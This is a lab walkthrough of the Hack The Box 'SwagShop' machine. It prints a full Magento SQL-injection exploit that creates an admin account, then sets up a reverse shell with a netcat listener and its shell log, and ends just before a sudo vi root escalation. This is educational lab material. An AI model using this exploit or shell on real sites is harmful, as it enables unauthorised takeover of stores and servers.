-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.92 scan initiated Mon Mar 14 20:41:11 2022 as: nmap -sS -p- -T5 --min-rate 5000 -n -Pn -oN allPorts 10.10.10.140
Warning: 10.10.10.140 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.140
Host is up (0.057s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Mon Mar 14 20:41:28 2022 -- 1 IP address (1 host up) scanned in 16.66 seconds
As we see, port 22 (SSH) and port 80 (HTTP)are open. Let's try to obtain more information about the services and versions running on those ports.
nmap -sC -sV -p22,80 10.10.10.140 -oN targeted
-sC performs the scan using the default set of scripts.
-sV enables version detection.
-oNsave the scan result into file, in this case the targeted file.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-14 23:22 CET
Nmap scan report for 10.10.10.140
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Did not follow redirect to http://swagshop.htb/
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.50 seconds
We see in the nmap scan, that the HTTP server redirects to http://swagshop.htb. Let's add the domain to the /etc/hosts file.
nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 alfa8sa
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.10.140 swagshop.htb
Now we can take a look at the website.
It is an online shop. If we take a look at the Wappalyzer extension, we'll see that it is a Magento CMS.
Wappalyzer is a browser extension capable of detecting the technology stack of any website. It reveals the technology stack of any website, such as CMS, ecommerce platform or payment processor, as well as company and contact details.
Let's enumerate directories with gobuster. Note that the URL is http://swagshop.htb/index.php/.
gobuster dir -u http://swagshop.htb/index.php/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200
dir enumerates directories or files.
-u the target URL.
-w path to the wordlist.
-t number of current threads, in this case 200 threads.
Now, let's copy the Remote Code Execution one to the current directory.
searchsploit -m xml/webapps/37977.py
Exploit: Magento eCommerce - Remote Code Execution
URL: https://www.exploit-db.com/exploits/37977
Path: /usr/share/exploitdb/exploits/xml/webapps/37977.py
File Type: ASCII text
Copied to: /home/alfa8sa/HTB/machines/swagshop/37977.py
Before executing it, we'll have to modify it.
nano 37977.py
We'll have to delete everything before the first import, and everything after the last print statement. And then, we'll have to change the domain name to swagshop.htb, and add the /index.php directory to the target variable.
import requests
import base64
import sys
target = "http://swagshop.htb/index.php"
if not target.startswith("http"):
target = "http://" + target
if target.endswith("/"):
target = target[:-1]
target_url = target + "/admin/Cms_Wysiwyg/directive/index/"
q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""
query = q.replace("\n", "").format(username="forme", password="forme")
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)
# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
r = requests.post(target_url,
data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
"filter": base64.b64encode(pfilter),
"forwarded": 1})
if r.ok:
print "WORKED"
print "Check {0}/admin with creds forme:forme".format(target)
else:
print "DID NOT WORK"pytt
Now we can run the script. We'll have to run it with Python2.
python2 37977.py
WORKED
Check http://swagshop.htb/index.php/admin with creds forme:forme
Now we can go to http://swagshop.htb/index.php/admin and log in with the forme:forme credentials.
Then, we'll see the Dashboard page.
Time to get a shell. First, let's create a PHP file which will send us a reverse shell. We'll have to name it revshell.php.png, because we'll be uploading it later to the website as an image.
Go to the Developer section, at the bottom of the page.
And go to the Template Settings, and set the Allow Symlinks to Yes. Then click on Save Config.
Now, let's go to the Manage Categories section.
Then, fill the name field with some random text, and upload the PHP file to the Thumbnail Image field and the Image field. And hit the Save Category button.
Then, go to the Newsletter Templates section, and hit the Add New Template button.
Here, we'll have to put a random template name and subject. Then, add the following to the text field, and hit the Save Template button.
Now, we'll have to set a netcat listener on port 4444.
nc -lvnp 4444
-llisten mode.
-vverbose mode.
-nnumeric-only IP, no DNS resolution.
-p specify the port to listen on.
Then, press on the template we have created.
And finally, if we hit the Preview Template button, we should get the reverse shell as the www-data user, on the netcat listener. Then, we could grab the user flag.
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.140] 60506
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ cat /home/haris/user.txt
a448877277e82f05e5ddf9f90aefbac8
Privilege Escalation
First of all, let's set an interactive TTY shell.
script /dev/null -c /bin/bash
Then I press Ctrl+Z and execute the following command on my local machine:
stty raw -echo; fg
Back on the victim machine, I export a few variables:
export TERM=xterm
export SHELL=bash
Finally, I run the following command in our local machine:
stty size
51 236
And set the proper dimensions in the victim machine:
stty rows 51 columns 236
Let's list the sudo privileges of the www-datauser.
sudo -l
-l list user privileges.
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
So the www-data user can run /usr/bin/vi on any file inside the /var/www/html directory.
GTFOBins is a great list of binaries that can be used to escalate privileges if you have the right permissions:
If we search for vi in the GTFOBins list, we can see that we can spawn a shell as root with the sudo privilege running the following command:
